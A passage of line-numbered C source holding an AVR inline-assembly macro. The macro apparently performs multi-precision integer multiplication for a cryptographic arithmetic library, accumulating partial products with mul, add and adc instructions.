2141 "adc r22, r1 \n\t" \
2142 "adc r23, r25 \n\t" \
2143 "mul r7, r13 \n\t" \
2144 "add r24, r0 \n\t" \
2145 "adc r22, r1 \n\t" \
2146 "adc r23, r25 \n\t" \
2147 "mul r8, r12 \n\t" \
2148 "add r24, r0 \n\t" \
2149 "adc r22, r1 \n\t" \
2150 "adc r23, r25 \n\t" \
2151 "st z+, r24 \n\t" \
2152 \
2153 "ldi r24, 0 \n\t" \
2154 "mul r2, r19 \n\t" \
2155 "add r22, r0 \n\t" \
2156 "adc r23, r1 \n\t" \
2157 "adc r24, r25 \n\t" \
2158 "mul r3, r18 \n\t" \
2159 "add r22, r0 \n\t" \
2160 "adc r23, r1 \n\t" \
2161 "adc r24, r25 \n\t" \
2162 "mul r4, r17 \n\t" \
2163 "add r22, r0 \n\t" \
2164 "adc r23, r1 \n\t" \
2165 "adc r24, r25 \n\t" \
2166 "mul r5, r16 \n\t" \
2167 "add r22, r0 \n\t" \
2168 "adc r23, r1 \n\t" \
2169 "adc r24, r25 \n\t" \
2170 "mul r6, r15 \n\t" \
2171 "add r22, r0 \n\t" \
2172 "adc r23, r1 \n\t" \
2173 "adc r24, r25 \n\t" \
2174 "mul r7, r14 \n\t" \
2175 "add r22, r0 \n\t" \
2176 "adc r23, r1 \n\t" \
2177 "adc r24, r25 \n\t" \
2178 "mul r8, r13 \n\t" \
2179 "add r22, r0 \n\t" \
2180 "adc r23, r1 \n\t" \
2181 "adc r24, r25 \n\t" \
2182 "mul r9, r12 \n\t" \
2183 "add r22, r0 \n\t" \
2184 "adc r23, r1 \n\t" \
2185 "adc r24, r25 \n\t" \
2186 "st z+, r22 \n\t" \
2187 \
2188 "ldi r22, 0 \n\t" \
2189 "mul r2, r20 \n\t" \
2190 "add r23, r0 \n\t" \
2191 "adc r24, r1 \n\t" \
2192 "adc r22, r25 \n\t" \
2193 "mul r3, r19 \n\t" \
2194 "add r23, r0 \n\t" \
2195 "adc r24, r1 \n\t" \
2196 "adc r22, r25 \n\t" \
2197 "mul r4, r18 \n\t" \
2198 "add r23, r0 \n\t" \
2199 "adc r24, r1 \n\t" \
2200 "adc r22, r25 \n\t" \
2201 "mul r5, r17 \n\t" \
2202 "add r23, r0 \n\t" \
2203 "adc r24, r1 \n\t" \
2204 "adc r22, r25 \n\t" \
2205 "mul r6, r16 \n\t" \
2206 "add r23, r0 \n\t" \
2207 "adc r24, r1 \n\t" \
2208 "adc r22, r25 \n\t" \
2209 "mul r7, r15 \n\t" \
2210 "add r23, r0 \n\t" \
2211 "adc r24, r1 \n\t" \
2212 "adc r22, r25 \n\t" \
2213 "mul r8, r14 \n\t" \
2214 "add r23, r0 \n\t" \
2215 "adc r24, r1 \n\t" \
2216 "adc r22, r25 \n\t" \
2217 "mul r9, r13 \n\t" \
2218 "add r23, r0 \n\t" \
2219 "adc r24, r1 \n\t" \
2220 "adc r22, r25 \n\t" \
2221 "mul r10, r12 \n\t" \
2222 "add r23, r0 \n\t" \
2223 "adc r24, r1 \n\t" \
2224 "adc r22, r25 \n\t" \
2225 "st z+, r23 \n\t" \
2226 \
2227 "ldi r23, 0 \n\t" \
2228 "mul r2, r21 \n\t" \
2229 "add r24, r0 \n\t" \
2230 "adc r22, r1 \n\t" \
2231 "adc r23, r25 \n\t" \
2232 "mul r3, r20 \n\t" \
2233 "add r24, r0 \n\t" \
2234 "adc r22, r1 \n\t" \
2235 "adc r23, r25 \n\t" \
2236 "mul r4, r19 \n\t" \
2237 "add r24, r0 \n\t" \
2238 "adc r22, r1 \n\t" \
2239 "adc r23, r25 \n\t" \
2240 "mul r5, r18 \n\t" \
2241 "add r24, r0 \n\t" \
2242 "adc r22, r1 \n\t" \
2243 "adc r23, r25 \n\t" \
2244 "mul r6, r17 \n\t" \
2245 "add r24, r0 \n\t" \
2246 "adc r22, r1 \n\t" \
2247 "adc r23, r25 \n\t" \
2248 "mul r7, r16 \n\t" \
2249 "add r24, r0 \n\t" \
2250 "adc r22, r1 \n\t" \
2251 "adc r23, r25 \n\t" \
2252 "mul r8, r15 \n\t" \
2253 "add r24, r0 \n\t" \
2254 "adc r22, r1 \n\t" \
2255 "adc r23, r25 \n\t" \
2256 "mul r9, r14 \n\t" \
2257 "add r24, r0 \n\t" \
2258 "adc r22, r1 \n\t" \
2259 "adc r23, r25 \n\t" \
2260 "mul r10, r13 \n\t" \
2261 "add r24, r0 \n\t" \
2262 "adc r22, r1 \n\t" \
2263 "adc r23, r25 \n\t" \
2264 "mul r11, r12 \n\t" \
2265 "add r24, r0 \n\t" \
2266 "adc r22, r1 \n\t" \
2267 "adc r23, r25 \n\t" \
2268 "st z+, r24 \n\t" \
2269 \
2270 "ld r2, x+ \n\t" \
2271 "ldi r24, 0 \n\t" \
2272 "mul r3, r21 \n\t" \
2273 "add r22, r0 \n\t" \
2274 "adc r23, r1 \n\t" \
2275 "adc r24, r25 \n\t" \
2276 "mul r4, r20 \n\t" \
2277 "add r22, r0 \n\t" \
2278 "adc r23, r1 \n\t" \
2279 "adc r24, r25 \n\t" \
2280 "mul r5, r19 \n\t" \
2281 "add r22, r0 \n\t" \
2282 "adc r23, r1 \n\t" \
2283 "adc r24, r25 \n\t" \
2284 "mul r6, r18 \n\t" \
2285 "add r22, r0 \n\t" \
2286 "adc r23, r1 \n\t" \
2287 "adc r24, r25 \n\t" \
2288 "mul r7, r17 \n\t" \
2289 "add r22, r0 \n\t" \
2290 "adc r23, r1 \n\t" \
2291 "adc r24, r25 \n\t" \
2292 "mul r8, r16 \n\t" \
2293 "add r22, r0 \n\t" \
2294 "adc r23, r1 \n\t" \
2295 "adc r24, r25 \n\t" \
2296 "mul r9, r15 \n\t" \
2297 "add r22, r0 \n\t" \
2298 "adc r23, r1 \n\t" \
2299 "adc r24, r25 \n\t" \
2300 "mul r10, r14 \n\t" \
2301 "add r22, r0 \n\t" \
2302 "adc r23, r1 \n\t" \
2303 "adc r24, r25 \n\t" \
2304 "mul r11, r13 \n\t" \
2305 "add r22, r0 \n\t" \
2306 "adc r23, r1 \n\t" \
2307 "adc r24, r25 \n\t" \
2308 "mul r2, r12 \n\t" \
2309 "add r22, r0 \n\t" \
2310 "adc r23, r1 \n\t" \
2311 "adc r24, r25 \n\t" \
2312 "ld r0, z \n\t" \
2313 "add r22, r0 \n\t" \
2314 "adc r23, r25 \n\t" \
2315 "adc r24, r25 \n\t" \
2316 "st z+, r22 \n\t" \
2317 \
2318 "ld r3, x+ \n\t" \
2319 "ldi r22, 0 \n\t" \
2320 "mul r4, r21 \n\t" \
2321 "add r23, r0 \n\t" \
2322 "adc r24, r1 \n\t" \
2323 "adc r22, r25 \n\t" \
2324 "mul r5, r20 \n\t" \
2325 "add r23, r0 \n\t" \
2326 "adc r24, r1 \n\t" \
2327 "adc r22, r25 \n\t" \
2328 "mul r6, r19 \n\t" \
2329 "add r23, r0 \n\t" \
2330 "adc r24, r1 \n\t" \
2331 "adc r22, r25 \n\t" \
2332 "mul r7, r18 \n\t" \
2333 "add r23, r0 \n\t" \
2334 "adc r24, r1 \n\t" \
2335 "adc r22, r25 \n\t" \
2336 "mul r8, r17 \n\t" \
2337 "add r23, r0 \n\t" \
2338 "adc r24, r1 \n\t" \
2339 "adc r22, r25 \n\t" \
2340 "mul r9, r16 \n\t" \
2341 "add r23, r0 \n\t" \
2342 "adc r24, r1 \n\t" \
2343 "adc r22, r25 \n\t" \
2344 "mul r10, r15 \n\t" \
2345 "add r23, r0 \n\t" \
2346 "adc r24, r1 \n\t" \
2347 "adc r22, r25 \n\t" \
2348 "mul r11, r14 \n\t" \
2349 "add r23, r0 \n\t" \
2350 "adc r24, r1 \n\t" \
2351 "adc r22, r25 \n\t" \
2352 "mul r2, r13 \n\t" \
2353 "add r23, r0 \n\t" \
2354 "adc r24, r1 \n\t" \
2355 "adc r22, r25 \n\t" \
2356 "mul r3, r12 \n\t" \
2357 "add r23, r0 \n\t" \
2358 "adc r24, r1 \n\t" \
2359 "adc r22, r25 \n\t" \
2360 "ld r0, z \n\t" \
2361 "add r23, r0 \n\t" \
2362 "adc r24, r25 \n\t" \
2363 "adc r22, r25 \n\t" \
2364 "st z+, r23 \n\t" \
2365 \
2366 "ld r4, x+ \n\t" \
2367 "ldi r23, 0 \n\t" \
2368 "mul r5, r21 \n\t" \
2369 "add r24, r0 \n\t" \
2370 "adc r22, r1 \n\t" \
2371 "adc r23, r25 \n\t" \
2372 "mul r6, r20 \n\t" \
2373 "add r24, r0 \n\t" \
2374 "adc r22, r1 \n\t" \
2375 "adc r23, r25 \n\t" \
2376 "mul r7, r19 \n\t" \
2377 "add r24, r0 \n\t" \
2378 "adc r22, r1 \n\t" \
2379 "adc r23, r25 \n\t" \
2380 "mul r8, r18 \n\t" \
2381 "add r24, r0 \n\t" \
2382 "adc r22, r1 \n\t" \
2383 "adc r23, r25 \n\t" \
2384 "mul r9, r17 \n\t" \
2385 "add r24, r0 \n\t" \
2386 "adc r22, r1 \n\t" \
2387 "adc r23, r25 \n\t" \
2388 "mul r10, r16 \n\t" \
2389 "add r24, r0 \n\t" \
2390 "adc r22, r1 \n\t" \
2391 "adc r23, r25 \n\t" \
2392 "mul r11, r15 \n\t" \
2393 "add r24, r0 \n\t" \
2394 "adc r22, r1 \n\t" \
2395 "adc r23, r25 \n\t" \
2396 "mul r2, r14 \n\t" \
2397 "add r24, r0 \n\t" \
2398 "adc r22, r1 \n\t" \
2399 "adc r23, r25 \n\t" \
2400 "mul r3, r13 \n\t" \
2401 "add r24, r0 \n\t" \
2402 "adc r22, r1 \n\t" \
2403 "adc r23, r25 \n\t" \
2404 "mul r4, r12 \n\t" \
2405 "add r24, r0 \n\t" \
2406 "adc r22, r1 \n\t" \
2407 "adc r23, r25 \n\t" \
2408 "ld r0, z \n\t" \
2409 "add r24, r0 \n\t" \
2410 "adc r22, r25 \n\t" \
2411 "adc r23, r25 \n\t" \
2412 "st z+, r24 \n\t" \
2413 \
2414 "ld r5, x+ \n\t" \
2415 "ldi r24, 0 \n\t" \
2416 "mul r6, r21 \n\t" \
2417 "add r22, r0 \n\t" \
2418 "adc r23, r1 \n\t" \
2419 "adc r24, r25 \n\t" \
2420 "mul r7, r20 \n\t" \
2421 "add r22, r0 \n\t" \
2422 "adc r23, r1 \n\t" \
2423 "adc r24, r25 \n\t" \
2424 "mul r8, r19 \n\t" \
2425 "add r22, r0 \n\t" \
2426 "adc r23, r1 \n\t" \
2427 "adc r24, r25 \n\t" \
2428 "mul r9, r18 \n\t" \
2429 "add r22, r0 \n\t" \
2430 "adc r23, r1 \n\t" \
2431 "adc r24, r25 \n\t" \
2432 "mul r10, r17 \n\t" \
2433 "add r22, r0 \n\t" \
2434 "adc r23, r1 \n\t" \
2435 "adc r24, r25 \n\t" \
2436 "mul r11, r16 \n\t" \
2437 "add r22, r0 \n\t" \
2438 "adc r23, r1 \n\t" \
2439 "adc r24, r25 \n\t" \
2440 "mul r2, r15 \n\t" \
2441 "add r22, r0 \n\t" \
2442 "adc r23, r1 \n\t" \
2443 "adc r24, r25 \n\t" \
2444 "mul r3, r14 \n\t" \
2445 "add r22, r0 \n\t" \
2446 "adc r23, r1 \n\t" \
2447 "adc r24, r25 \n\t" \
2448 "mul r4, r13 \n\t" \
2449 "add r22, r0 \n\t" \
2450 "adc r23, r1 \n\t" \
2451 "adc r24, r25 \n\t" \
2452 "mul r5, r12 \n\t" \
2453 "add r22, r0 \n\t" \
2454 "adc r23, r1 \n\t" \
2455 "adc r24, r25 \n\t" \
2456 "ld r0, z \n\t" \
2457 "add r22, r0 \n\t" \
2458 "adc r23, r25 \n\t" \
2459 "adc r24, r25 \n\t" \
2460 "st z+, r22 \n\t" \
2461 \
2462 "ld r12, y+ \n\t" \
2463 "ldi r22, 0 \n\t" \
2464 "mul r6, r12 \n\t" \
2465 "add r23, r0 \n\t" \
2466 "adc r24, r1 \n\t" \
2467 "adc r22, r25 \n\t" \
2468 "mul r7, r21 \n\t" \
2469 "add r23, r0 \n\t" \
2470 "adc r24, r1 \n\t" \
2471 "adc r22, r25 \n\t" \
2472 "mul r8, r20 \n\t" \
2473 "add r23, r0 \n\t" \
2474 "adc r24, r1 \n\t" \
2475 "adc r22, r25 \n\t" \
2476 "mul r9, r19 \n\t" \
2477 "add r23, r0 \n\t" \
2478 "adc r24, r1 \n\t" \
2479 "adc r22, r25 \n\t" \
2480 "mul r10, r18 \n\t" \
2481 "add r23, r0 \n\t" \
2482 "adc r24, r1 \n\t" \
2483 "adc r22, r25 \n\t" \
2484 "mul r11, r17 \n\t" \
2485 "add r23, r0 \n\t" \
2486 "adc r24, r1 \n\t" \
2487 "adc r22, r25 \n\t" \
2488 "mul r2, r16 \n\t" \
2489 "add r23, r0 \n\t" \
2490 "adc r24, r1 \n\t" \
2491 "adc r22, r25 \n\t" \
2492 "mul r3, r15 \n\t" \
2493 "add r23, r0 \n\t" \
2494 "adc r24, r1 \n\t" \
2495 "adc r22, r25 \n\t" \
2496 "mul r4, r14 \n\t" \
2497 "add r23, r0 \n\t" \
2498 "adc r24, r1 \n\t" \
2499 "adc r22, r25 \n\t" \
2500 "mul r5, r13 \n\t" \
2501 "add r23, r0 \n\t" \
2502 "adc r24, r1 \n\t" \
2503 "adc r22, r25 \n\t" \
2504 "ld r0, z \n\t" \
2505 "add r23, r0 \n\t" \
2506 "adc r24, r25 \n\t" \
2507 "adc r22, r25 \n\t" \
2508 "st z+, r23 \n\t" \
2509 \
2510 "ld r13, y+ \n\t" \
2511 "ldi r23, 0 \n\t" \
2512 "mul r6, r13 \n\t" \
2513 "add r24, r0 \n\t" \
2514 "adc r22, r1 \n\t" \
2515 "adc r23, r25 \n\t" \
2516 "mul r7, r12 \n\t" \
2517 "add r24, r0 \n\t" \
2518 "adc r22, r1 \n\t" \
2519 "adc r23, r25 \n\t" \
2520 "mul r8, r21 \n\t" \
2521 "add r24, r0 \n\t" \
2522 "adc r22, r1 \n\t" \
2523 "adc r23, r25 \n\t" \
2524 "mul r9, r20 \n\t" \
2525 "add r24, r0 \n\t" \
2526 "adc r22, r1 \n\t" \
2527 "adc r23, r25 \n\t" \
2528 "mul r10, r19 \n\t" \
2529 "add r24, r0 \n\t" \
2530 "adc r22, r1 \n\t" \
2531 "adc r23, r25 \n\t" \
2532 "mul r11, r18 \n\t" \
2533 "add r24, r0 \n\t" \
2534 "adc r22, r1 \n\t" \
2535 "adc r23, r25 \n\t" \
2536 "mul r2, r17 \n\t" \
2537 "add r24, r0 \n\t" \
2538 "adc r22, r1 \n\t" \
2539 "adc r23, r25 \n\t" \
2540 "mul r3, r16 \n\t" \
2541 "add r24, r0 \n\t" \
2542 "adc r22, r1 \n\t" \
2543 "adc r23, r25 \n\t" \
2544 "mul r4, r15 \n\t" \
2545 "add r24, r0 \n\t" \
2546 "adc r22, r1 \n\t" \
2547 "adc r23, r25 \n\t" \
2548 "mul r5, r14 \n\t" \
2549 "add r24, r0 \n\t" \
2550 "adc r22, r1 \n\t" \
2551 "adc r23, r25 \n\t" \
2552 "ld r0, z \n\t" \
2553 "add r24, r0 \n\t" \
2554 "adc r22, r25 \n\t" \
2555 "adc r23, r25 \n\t" \
2556 "st z+, r24 \n\t" \
2557 \
2558 "ld r14, y+ \n\t" \
2559 "ldi r24, 0 \n\t" \
2560 "mul r6, r14 \n\t" \
2561 "add r22, r0 \n\t" \
2562 "adc r23, r1 \n\t" \
2563 "adc r24, r25 \n\t" \
2564 "mul r7, r13 \n\t" \
2565 "add r22, r0 \n\t" \
2566 "adc r23, r1 \n\t" \
2567 "adc r24, r25 \n\t" \
2568 "mul r8, r12 \n\t" \
2569 "add r22, r0 \n\t" \
2570 "adc r23, r1 \n\t" \
2571 "adc r24, r25 \n\t" \
2572 "mul r9, r21 \n\t" \
2573 "add r22, r0 \n\t" \
2574 "adc r23, r1 \n\t" \
2575 "adc r24, r25 \n\t" \
2576 "mul r10, r20 \n\t" \
2577 "add r22, r0 \n\t" \
2578 "adc r23, r1 \n\t" \
2579 "adc r24, r25 \n\t" \
2580 "mul r11, r19 \n\t" \
2581 "add r22, r0 \n\t" \
2582 "adc r23, r1 \n\t" \
2583 "adc r24, r25 \n\t" \
2584 "mul r2, r18 \n\t" \
2585 "add r22, r0 \n\t" \
2586 "adc r23, r1 \n\t" \
2587 "adc r24, r25 \n\t" \
2588 "mul r3, r17 \n\t" \
2589 "add r22, r0 \n\t" \
2590 "adc r23, r1 \n\t" \
2591 "adc r24, r25 \n\t" \
2592 "mul r4, r16 \n\t" \
2593 "add r22, r0 \n\t" \
2594 "adc r23, r1 \n\t" \
2595 "adc r24, r25 \n\t" \
2596 "mul r5, r15 \n\t" \
2597 "add r22, r0 \n\t" \
2598 "adc r23, r1 \n\t" \
2599 "adc r24, r25 \n\t" \
2600 "ld r0, z \n\t" \
2601 "add r22, r0 \n\t" \
2602 "adc r23, r25 \n\t" \
2603 "adc r24, r25 \n\t" \
2604 "st z+, r22 \n\t" \
2605 \
2606 "ld r15, y+ \n\t" \
2607 "ldi r22, 0 \n\t" \
2608 "mul r6, r15 \n\t" \
2609 "add r23, r0 \n\t" \
2610 "adc r24, r1 \n\t" \
2611 "adc r22, r25 \n\t" \
2612 "mul r7, r14 \n\t" \
2613 "add r23, r0 \n\t" \
2614 "adc r24, r1 \n\t" \
2615 "adc r22, r25 \n\t" \
2616 "mul r8, r13 \n\t" \
2617 "add r23, r0 \n\t" \
2618 "adc r24, r1 \n\t" \
2619 "adc r22, r25 \n\t" \
2620 "mul r9, r12 \n\t" \
2621 "add r23, r0 \n\t" \
2622 "adc r24, r1 \n\t" \
2623 "adc r22, r25 \n\t" \
2624 "mul r10, r21 \n\t" \
2625 "add r23, r0 \n\t" \
2626 "adc r24, r1 \n\t" \
2627 "adc r22, r25 \n\t" \
2628 "mul r11, r20 \n\t" \
2629 "add r23, r0 \n\t" \
2630 "adc r24, r1 \n\t" \
2631 "adc r22, r25 \n\t" \
2632 "mul r2, r19 \n\t" \
2633 "add r23, r0 \n\t" \
2634 "adc r24, r1 \n\t" \
2635 "adc r22, r25 \n\t" \
2636 "mul r3, r18 \n\t" \
2637 "add r23, r0 \n\t" \
2638 "adc r24, r1 \n\t" \
2639 "adc r22, r25 \n\t" \
2640 "mul r4, r17 \n\t" \
2641 "add r23, r0 \n\t" \
2642 "adc r24, r1 \n\t" \
2643 "adc r22, r25 \n\t" \
2644 "mul r5, r16 \n\t" \
2645 "add r23, r0 \n\t" \
2646 "adc r24, r1 \n\t" \
2647 "adc r22, r25 \n\t" \
2648 "ld r0, z \n\t" \
2649 "add r23, r0 \n\t" \
2650 "adc r24, r25 \n\t" \
2651 "adc r22, r25 \n\t" \
2652 "st z+, r23 \n\t" \
2653 \
2654 "ldi r23, 0 \n\t" \
2655 "mul r7, r15 \n\t" \
2656 "add r24, r0 \n\t" \
2657 "adc r22, r1 \n\t" \
2658 "adc r23, r25 \n\t" \
2659 "mul r8, r14 \n\t" \
2660 "add r24, r0 \n\t" \
2661 "adc r22, r1 \n\t" \
2662 "adc r23, r25 \n\t" \
2663 "mul r9, r13 \n\t" \
2664 "add r24, r0 \n\t" \
2665 "adc r22, r1 \n\t" \
2666 "adc r23, r25 \n\t" \
2667 "mul r10, r12 \n\t" \
2668 "add r24, r0 \n\t" \
2669 "adc r22, r1 \n\t" \
2670 "adc r23, r25 \n\t" \
2671 "mul r11, r21 \n\t" \
2672 "add r24, r0 \n\t" \
2673 "adc r22, r1 \n\t" \
2674 "adc r23, r25 \n\t" \
2675 "mul r2, r20 \n\t" \
2676 "add r24, r0 \n\t" \
2677 "adc r22, r1 \n\t" \
2678 "adc r23, r25 \n\t" \
2679 "mul r3, r19 \n\t" \
2680 "add r24, r0 \n\t" \
2681 "adc r22, r1 \n\t" \
2682 "adc r23, r25 \n\t" \
2683 "mul r4, r18 \n\t" \
2684 "add r24, r0 \n\t" \
2685 "adc r22, r1 \n\t" \
2686 "adc r23, r25 \n\t" \
2687 "mul r5, r17 \n\t" \
2688 "add r24, r0 \n\t" \
2689 "adc r22, r1 \n\t" \
2690 "adc r23, r25 \n\t" \
2691 "st z+, r24 \n\t" \
2692 \
2693 "ldi r24, 0 \n\t" \
2694 "mul r8, r15 \n\t" \
2695 "add r22, r0 \n\t" \
2696 "adc r23, r1 \n\t" \
2697 "adc r24, r25 \n\t" \
2698 "mul r9, r14 \n\t" \
2699 "add r22, r0 \n\t" \
2700 "adc r23, r1 \n\t" \
2701 "adc r24, r25 \n\t" \
2702 "mul r10, r13 \n\t" \
2703 "add r22, r0 \n\t" \
2704 "adc r23, r1 \n\t" \
2705 "adc r24, r25 \n\t" \
2706 "mul r11, r12 \n\t" \
2707 "add r22, r0 \n\t" \
2708 "adc r23, r1 \n\t" \
2709 "adc r24, r25 \n\t" \
2710 "mul r2, r21 \n\t" \
2711 "add r22, r0 \n\t" \
2712 "adc r23, r1 \n\t" \
2713 "adc r24, r25 \n\t" \
2714 "mul r3, r20 \n\t" \
2715 "add r22, r0 \n\t" \
2716 "adc r23, r1 \n\t" \
2717 "adc r24, r25 \n\t" \
2718 "mul r4, r19 \n\t" \
2719 "add r22, r0 \n\t" \
2720 "adc r23, r1 \n\t" \
2721 "adc r24, r25 \n\t" \
2722 "mul r5, r18 \n\t" \
2723 "add r22, r0 \n\t" \
2724 "adc r23, r1 \n\t" \
2725 "adc r24, r25 \n\t" \
2726 "st z+, r22 \n\t" \
2727 \
2728 "ldi r22, 0 \n\t" \
2729 "mul r9, r15 \n\t" \
2730 "add r23, r0 \n\t" \
2731 "adc r24, r1 \n\t" \
2732 "adc r22, r25 \n\t" \
2733 "mul r10, r14 \n\t" \
2734 "add r23, r0 \n\t" \
2735 "adc r24, r1 \n\t" \
2736 "adc r22, r25 \n\t" \
2737 "mul r11, r13 \n\t" \
2738 "add r23, r0 \n\t" \
2739 "adc r24, r1 \n\t" \
2740 "adc r22, r25 \n\t" \
2741 "mul r2, r12 \n\t" \
2742 "add r23, r0 \n\t" \
2743 "adc r24, r1 \n\t" \
2744 "adc r22, r25 \n\t" \
2745 "mul r3, r21 \n\t" \
2746 "add r23, r0 \n\t" \
2747 "adc r24, r1 \n\t" \
2748 "adc r22, r25 \n\t" \
2749 "mul r4, r20 \n\t" \
2750 "add r23, r0 \n\t" \
2751 "adc r24, r1 \n\t" \
2752 "adc r22, r25 \n\t" \
2753 "mul r5, r19 \n\t" \
2754 "add r23, r0 \n\t" \
2755 "adc r24, r1 \n\t" \
2756 "adc r22, r25 \n\t" \
2757 "st z+, r23 \n\t" \
2758 \
2759 "ldi r23, 0 \n\t" \
2760 "mul r10, r15 \n\t" \
2761 "add r24, r0 \n\t" \
2762 "adc r22, r1 \n\t" \
2763 "adc r23, r25 \n\t" \
2764 "mul r11, r14 \n\t" \
2765 "add r24, r0 \n\t" \
2766 "adc r22, r1 \n\t" \
2767 "adc r23, r25 \n\t" \
2768 "mul r2, r13 \n\t" \
2769 "add r24, r0 \n\t" \
2770 "adc r22, r1 \n\t" \
2771 "adc r23, r25 \n\t" \
2772 "mul r3, r12 \n\t" \
2773 "add r24, r0 \n\t" \
2774 "adc r22, r1 \n\t" \
2775 "adc r23, r25 \n\t" \
2776 "mul r4, r21 \n\t" \
2777 "add r24, r0 \n\t" \
2778 "adc r22, r1 \n\t" \
2779 "adc r23, r25 \n\t" \
2780 "mul r5, r20 \n\t" \
2781 "add r24, r0 \n\t" \
2782 "adc r22, r1 \n\t" \
2783 "adc r23, r25 \n\t" \
2784 "st z+, r24 \n\t" \
2785 \
2786 "ldi r24, 0 \n\t" \
2787 "mul r11, r15 \n\t" \
2788 "add r22, r0 \n\t" \
2789 "adc r23, r1 \n\t" \
2790 "adc r24, r25 \n\t" \
2791 "mul r2, r14 \n\t" \
2792 "add r22, r0 \n\t" \
2793 "adc r23, r1 \n\t" \
2794 "adc r24, r25 \n\t" \
2795 "mul r3, r13 \n\t" \
2796 "add r22, r0 \n\t" \
2797 "adc r23, r1 \n\t" \
2798 "adc r24, r25 \n\t" \
2799 "mul r4, r12 \n\t" \
2800 "add r22, r0 \n\t" \
2801 "adc r23, r1 \n\t" \
2802 "adc r24, r25 \n\t" \
2803 "mul r5, r21 \n\t" \
2804 "add r22, r0 \n\t" \
2805 "adc r23, r1 \n\t" \
2806 "adc r24, r25 \n\t" \
2807 "st z+, r22 \n\t" \
2808 \
2809 "ldi r22, 0 \n\t" \
2810 "mul r2, r15 \n\t" \
2811 "add r23, r0 \n\t" \
2812 "adc r24, r1 \n\t" \
2813 "adc r22, r25 \n\t" \
2814 "mul r3, r14 \n\t" \
2815 "add r23, r0 \n\t" \
2816 "adc r24, r1 \n\t" \
2817 "adc r22, r25 \n\t" \
2818 "mul r4, r13 \n\t" \
2819 "add r23, r0 \n\t" \
2820 "adc r24, r1 \n\t" \
2821 "adc r22, r25 \n\t" \
2822 "mul r5, r12 \n\t" \
2823 "add r23, r0 \n\t" \
2824 "adc r24, r1 \n\t" \
2825 "adc r22, r25 \n\t" \
2826 "st z+, r23 \n\t" \
2827 \
2828 "ldi r23, 0 \n\t" \
2829 "mul r3, r15 \n\t" \
2830 "add r24, r0 \n\t" \
2831 "adc r22, r1 \n\t" \
2832 "adc r23, r25 \n\t" \
2833 "mul r4, r14 \n\t" \
2834 "add r24, r0 \n\t" \
2835 "adc r22, r1 \n\t" \
2836 "adc r23, r25 \n\t" \
2837 "mul r5, r13 \n\t" \
2838 "add r24, r0 \n\t" \
2839 "adc r22, r1 \n\t" \
2840 "adc r23, r25 \n\t" \
2841 "st z+, r24 \n\t" \
2842 \
2843 "ldi r24, 0 \n\t" \
2844 "mul r4, r15 \n\t" \
2845 "add r22, r0 \n\t" \
2846 "adc r23, r1 \n\t" \
2847 "adc r24, r25 \n\t" \
2848 "mul r5, r14 \n\t" \
2849 "add r22, r0 \n\t" \
2850 "adc r23, r1 \n\t" \
2851 "adc r24, r25 \n\t" \
2852 "st z+, r22 \n\t" \
2853 \
2854 "mul r5, r15 \n\t" \
2855 "add r23, r0 \n\t" \
2856 "adc r24, r1 \n\t" \
2857 "st z+, r23 \n\t" \
2858 "st z+, r24 \n\t" \
2859 \
2860 "sbiw r30, 38 \n\t" \
2861 "sbiw r28, 24 \n\t" \
2862 "sbiw r26, 14 \n\t" \
2863 "ld r2, x+ \n\t" \
2864 "ld r12, y+ \n\t" \
2865 "ld r3, x+ \n\t" \
2866 "ld r13, y+ \n\t" \
2867 "ld r4, x+ \n\t" \
2868 "ld r14, y+ \n\t" \
2869 "ld r5, x+ \n\t" \
2870 "ld r15, y+ \n\t" \
2871 "ld r6, x+ \n\t" \
2872 "ld r16, y+ \n\t" \
2873 "ld r7, x+ \n\t" \
2874 "ld r17, y+ \n\t" \
2875 "ld r8, x+ \n\t" \
2876 "ld r18, y+ \n\t" \
2877 "ld r9, x+ \n\t" \
2878 "ld r19, y+ \n\t" \
2879 "ld r10, x+ \n\t" \
2880 "ld r20, y+ \n\t" \
2881 "ld r11, x+ \n\t" \
2882 "ld r21, y+ \n\t" \
2883 \
2884 "ldi r23, 0 \n\t" \
2885 "mul r2, r12 \n\t" \
2886 "st z+, r0 \n\t" \
2887 "mov r22, r1 \n\t" \
2888 \
2889 "ldi r24, 0 \n\t" \
2890 "mul r2, r13 \n\t" \
2891 "add r22, r0 \n\t" \
2892 "adc r23, r1 \n\t" \
2893 "mul r3, r12 \n\t" \
2894 "add r22, r0 \n\t" \
2895 "adc r23, r1 \n\t" \
2896 "adc r24, r25 \n\t" \
2897 "st z+, r22 \n\t" \
2898 \
2899 "ldi r22, 0 \n\t" \
2900 "mul r2, r14 \n\t" \
2901 "add r23, r0 \n\t" \
2902 "adc r24, r1 \n\t" \
2903 "adc r22, r25 \n\t" \
2904 "mul r3, r13 \n\t" \
2905 "add r23, r0 \n\t" \
2906 "adc r24, r1 \n\t" \
2907 "adc r22, r25 \n\t" \
2908 "mul r4, r12 \n\t" \
2909 "add r23, r0 \n\t" \
2910 "adc r24, r1 \n\t" \
2911 "adc r22, r25 \n\t" \
2912 "st z+, r23 \n\t" \
2913 \
2914 "ldi r23, 0 \n\t" \
2915 "mul r2, r15 \n\t" \
2916 "add r24, r0 \n\t" \
2917 "adc r22, r1 \n\t" \
2918 "adc r23, r25 \n\t" \
2919 "mul r3, r14 \n\t" \
2920 "add r24, r0 \n\t" \
2921 "adc r22, r1 \n\t" \
2922 "adc r23, r25 \n\t" \
2923 "mul r4, r13 \n\t" \
2924 "add r24, r0 \n\t" \
2925 "adc r22, r1 \n\t" \
2926 "adc r23, r25 \n\t" \
2927 "mul r5, r12 \n\t" \
2928 "add r24, r0 \n\t" \
2929 "adc r22, r1 \n\t" \
2930 "adc r23, r25 \n\t" \
2931 "st z+, r24 \n\t" \
2932 \
2933 "ldi r24, 0 \n\t" \
2934 "mul r2, r16 \n\t" \
2935 "add r22, r0 \n\t" \
2936 "adc r23, r1 \n\t" \
2937 "adc r24, r25 \n\t" \
2938 "mul r3, r15 \n\t" \
2939 "add r22, r0 \n\t" \
2940 "adc r23, r1 \n\t" \
2941 "adc r24, r25 \n\t" \
2942 "mul r4, r14 \n\t" \
2943 "add r22, r0 \n\t" \
2944 "adc r23, r1 \n\t" \
2945 "adc r24, r25 \n\t" \
2946 "mul r5, r13 \n\t" \
2947 "add r22, r0 \n\t" \
2948 "adc r23, r1 \n\t" \
2949 "adc r24, r25 \n\t" \
2950 "mul r6, r12 \n\t" \
2951 "add r22, r0 \n\t" \
2952 "adc r23, r1 \n\t" \
2953 "adc r24, r25 \n\t" \
2954 "st z+, r22 \n\t" \
2955 \
2956 "ldi r22, 0 \n\t" \
2957 "mul r2, r17 \n\t" \
2958 "add r23, r0 \n\t" \
2959 "adc r24, r1 \n\t" \
